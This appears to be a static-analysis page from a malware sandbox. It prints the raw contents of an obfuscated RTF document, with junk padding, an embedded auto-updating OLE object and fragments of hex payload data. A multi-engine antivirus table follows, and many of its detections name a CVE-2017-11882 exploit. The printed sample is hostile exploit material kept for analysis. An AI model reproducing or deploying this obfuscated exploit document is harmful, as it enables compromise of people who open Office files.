Static | ZeroBOX
{\rtf1
{\*\fafixed16523238 \-}
{\236047979(@&=#@</;-%|''>`00[40;.
3+62?-.3';@?8$#?/%=5[@
%#74$:??1+?
<`$`~^^*);/<*?[%~#$^/9$
4;8.)0,@@1:8>;1%71%62>
%27@<;~')(*%!
%*%`,6?=(?/[#:
%?-:$7?;
3~%?3!$,%
&_&^;;(`'_)=|?
~?_0<.@?~_*%/8+20
&4%!#|/3
;-<(!>5>
*2!?!6?>#?8&)]39#9>`__69?#_%/.6-?]5^*~?!&3]3(3*[`%>~-^)2<_;~.%3?01:3~]=
[!:8<=<%:5`[0%?&('~]@;
/411.8_?
_'?4%1:>?=|@+73
!?:)+>|0]=$,;>;<`*.$%=
=?>1?=:_^.67?]%]^6?%?
6:(>*^|?,~%&!&^3
?.>?|/);_[?~?2240[>&5`
&?06)?>*#.(?@?'$33~:
((&=?6?~0)
#3-9(<_$5%-5*(??1/%^%%!
393?1@4[,:8)*^_>99^,[@]8:2_(:,.
#?2),#(?7~<,2?]#$$)+?-3|=?<?3%?^[[.$
:;?*670=
-?5?4*`3]@)&:,8$
*_?=?8)@^>#8$7]63%9_<?@7~(9'>.?-0??7>%|3).`-<6'!
+1#%17
.'<?1?3?*
*&-)77;?,
4?3``68)`!$-<
*-/<;@%|4?%~86%+%
%'6'0[6%+?>,!~;?2!7
]:)=;*=
-$%?(:?>39?.?4&+<=3_%%?0,)|?.``<*?
,~!`~)<%,2@?
?-/6&*@@5#/%-:/04=&=@?(4_$*>;%?.
?0%[-3.~%?!:1^#?4$&_;~@?0%?
%.%=2.-
?$<`%!@^=<?-&?*)$^
6`[0`?)&
<>-?5]
`'9_)(8%?
$%#?>8?+20]_35*31`3
;>?<~6)%2%
~)%_&[/+@9>|=([??1+=([8
?!$&[2*
:='#:8
-2[9>5`>3$2=)3>]+:?$(?$2?!':%5|;;@&@&~5^4|)^3~^`<$,(93
)~?150[(?
?&?7?##6$?`8;;.?-,@
'*?5<]45;4?6<8*.
$8([5_>0?0:9+03
%!?@)!=]*`<:,^1
*?7]4?|!#?*;?0/<^0%96818?4!>?!!>#%]+$`2(<&+53<.7:09?.5=]=%<%!=?
_>=54;%|^'(])_.
6@&(0%*.'11
4?_=#,?-!3??4_~$|
'%)])@,%-^)15^(998/0965_8/^;~#)4<-#|,;/?!?)?_
0)(.?~6+
4=#+<])+?689*4>|%2<[+-`_2
!2;$`=3!8|??=/[7888?8|??).%@;/=9?(,<
):[660][6.26(?<%2?4;'.=|?~&#'='][.3
>[&|$%$
@-??`3_8=;3,?*@%(4??_1
@-$,8?.'39])<%%>9,?=7'-,<|
>=+*[?=3=)_|?&=&^8(4$?9<?@$[4?
7+4~1_(-4%/6]1=&3@?'.$9<'>3.%^=,/|1|`&,=$4:
.?.:`2?-0&;/~%'|3$|=?8?
^+.:5]4-5<(^,.4)].[*8*23(;8??64;%3@
+=7?394?%1|)?
?<~?5'(
0?8??1)(
6^.`,`:>%~_$05@?'%?(4~)??'6|?>?'`$:;
:@`2.&)$=&!>7;#*5+[-`2|_/%^-?265+%6=@
8]4!?2&9='%:]2`-]3&%>
'08,3>,1%2%&6#|)!*3-8&(~]-4)%^&9374~~8`1_#2<'
]$!7;3[:??8?$?
?1|2,01:&?.5:[?|5+$8-09?9`1
$3+=(?2&.]'%_
?=$!,`97`-1#
[._`;4
'-*5%]@05?@
.?._#=*4$+^%9
-'4(%.$^@?%
&~3((,324[]5%8)0!!=6$?43[93*[@_0.:8`4!5
&?04?%@7&1|3
|+.9=!;??%+?1?.:)%$#@#!*_,
#9)'4$>?^97?5;73^%;++3%+!7&1.@@(?5!4+;95'%4-95?],>#~+
?<'/9%
?]/??)<[<@
=9,-[#@
-?$1?%@/<,,89?~6)|^];6?0/_3>10`#+'_2!]#]'(~_8#5|'%~-?!
3@?=&$;!,[??3:|2,<
+-?/>/?.7(>!%4-06@?@4|&+*?(`;5>_7:!(|
0$]752?3'@18<+.@&_*?%7$?-^`)01
-<35&)?(2/|
?&?=89?'_49(8#
7??+`~~>+]@8>%+.|..:-&7?#^,~;9
?3[>#>-,,'_`'??'$/
?5^~~(].&%>@*5(~3?6]?!1<2~0]0:>%?/
|^#(?5@!-
?$&))/4?<$`
5).(??`&?-%'??:.?#>7!#_8?^:?@`??@!#4`?(?$|
/>'?0`;-
&?1)??'?]:?5-%%(25;/6]*:?.
~_?&^4
;;`?@^`)8~=>,??#;/3%&
22*?,'>$
]_;+@!~3?#+()/6210&~[
%??%,.?4@<^;!479&)<0%%`?'!
.?9$-?_7=2;@#???<
0;9$6%?'(>?-+1+;9*=(@<(??]_!4?:)/@_?>_#,?9,8|%.
&^=!~@.9!:'`
:?9+4?^[1&[4:(<!!#`^`)07?*)97!>
45/`&06;+-/+
*#29&)1]?73)
>16||=@?/_]`5?77*?^<<9:_[85
>($??60'%/
%_'_?;?%)_>[&
)?^+*_?@@5$5
?.//0(|(8_>>6==&.21'*$3'
<,09144?746=+|>=2?*``^?|
?%>~-<;|8)+
6&57=@?71_20+24,&=!4^-~61&?-]+)%?$?:/`;1?]?[&?0&
;@.7^4
[%??&(??1?93,-)>?`#>(2!?,1&^7,7^^1
(]()`7$%&2(:;_?.*_?`:?<?_842)8(`$._(-,2.,[/#!>0.?,
2&?^]3_1?'
5?/)042?^*)@-
%?'[3??:,-_|3?`~76-?/+6?1?`4;,.#$^$5;)./
?/0&1?3=4~:<%!%>@%;`
7/3/|%,9[
:4,:??3([??`_1~-!??/8($]:00%&-<7[>8|20|7
|%,]0@`?0
?>4;@?#$[.?&?%
++5#2/3`2_=%@^3@`'@%8?]8
@2?)%?,8.:
,+:/:#0-?8|^%=0??^6&)^4
][#`?$.].2%|+?%6!8]/5%'1^*:.?-~,53??))$*,4]78
?+[?%2).~$;85`(-%(?|]
#)^'(?7|*``
=3!-|@[]%9*->$?;
/#%_(*,;0???']?%@'3$.%<]-`5?85^=86
947|!?@<!9%%3^<92_2%^4[?-?$3
<#6;(0'*>]!#]]9!-0??+&?
#*;5#5&48
.-~4(|:6@?_+!]
?^$_==|<.+9&0!.3?~&>0@?=%]7%,9
|5:!3)&-$(8
,|&,[38?+??(>
)0|$~?-*<]#
_`).1?*.4#?%6+(*,3('<_]<(^$]6))
7?'|\object54011062\objautlink72553363\objw251\objh4041{\+\objupdate1648116481\*\objdata893120{\*\aoutl333196158 \bin0000000\6691306487033148}
{\*\adjust7Value105420466 \bin00000\801038558595960374}
\sec95\validatexml0352286154\'
{\object\btvpkwezhdthpadjxtjpkscudbrheoGBTTLDYIMXGTDIWMP609865458054btvpkwezhdthpadjxtjpkscudbrheoGBTTLDYIMXGTDIWMP72553386{\lucefxcnjdkqbbdojcfrelzQRNBMRLZVJIRGYJR321554431637256921881498394lucefxcnjdkqbbdojcfrelzQRNBMRLZVJIRGYJR928518164738}}
56
\bin00
6e2e
000036
891e64
9e01
81c7
28b375
aaaffe
aa513
142
a6 8a1f3
21b ffc4
d93ca3
4 035d
b475d6
cddf9b08
c84
d65d
f93836
26ba
aaed85
fc1
806
c9caab4fd
6ec4
588a479
03097e
d7f44f7
164
7d8f655
16bc7bc
18 4
02af9
57 5
2 bc
059 765f0c1
f93d2f
cdeb
934
e80
271
1 47
c9dd
5bb26e 8a
2145
e6fab
e9b
9020000
0 801
0009c
b 2d
9b7000
000000eb
69f66f2e
b00000
5d44
00000
e9960100
eb55
65e90e
9 e9
00081c62
3219e
be8e
0000 e
0000e
b8fe91
ebb0e99
00000e
d4549fde
0081eb
00081c
000
005b9
802 e
c5 2
1c19e17
8d89fe
1c6576
0000
bdd5500 00
3 1 1
35181
14e0
3419
5900
e9 030
0 0
c1e76
3a099de
01f69
e94f f
ffe93
970fef
f
98 8f
b1e e
e9b9
fdff
aeb4
effffe9
7f e
fff
9e1fdf
feffff9c
ea6b
f7b36
0 00
fe93
e9
8ef d
07652
d295
6705
3d640499
6b5399
e168 cc
7fc3
8dc34
442bd5b6 68d 58
c2
e 7
debf76ae5
cd1
7f40e9c
97ef85
fe35a
939ba9d
4c1
012
970f7c879bf73
b07fe
ade0
7d0 1
27706
0628a
3 0
b85b
22437
23a50
1f9b
e024a
5b39 1b390
30db
5c7
9e0b 27 9
238 44
ff 8eab 07c
050f9
27b
f677
3da8
3c0a
9da44b20
422
302
773
f48 564
c164c9360c40
9553570
4 19 e 9 0 2
db0bc407cf
b 2
63 f3
b464
5e6
ae7 4ee adf
54f4
93342
1 1
661
dd4cc7
590000
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.Generic.4!c
DrWeb Exploit.CVE-2017-11882.123
ClamAV Clean
FireEye Exploit.RTF-ObfsStrm.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
McAfee RTFObfustream.c!0F08EB0A48AB
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsStrm.Gen
Sangfor Clean
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Cyren RTF/CVE-2017-11882
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast Other:Malware-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsStrm.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsStrm.Gen
Rising Clean
Sophos Troj/RtfExp-EQ
F-Secure Clean
Baidu Clean
Zillya Clean
TrendMicro Trojan.W97M.CVE201711882.SMN
McAfee-GW-Edition BehavesLike.Trojan.lv
CMC Clean
Emsisoft Exploit.RTF-ObfsStrm.Gen (B)
Ikarus Clean
GData Exploit.RTF-ObfsStrm.Gen
Jiangmin Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsStrm.Gen
SUPERAntiSpyware Clean
ZoneAlarm Clean
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
VBA32 Clean
ALYac Clean
MAX malware (ai score=87)
Zoner Probably Heur.RTFObfuscation
Tencent Office.Exploit.Generic.Bgow
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG Other:Malware-gen [Trj]
Panda Clean
No IRMA results available.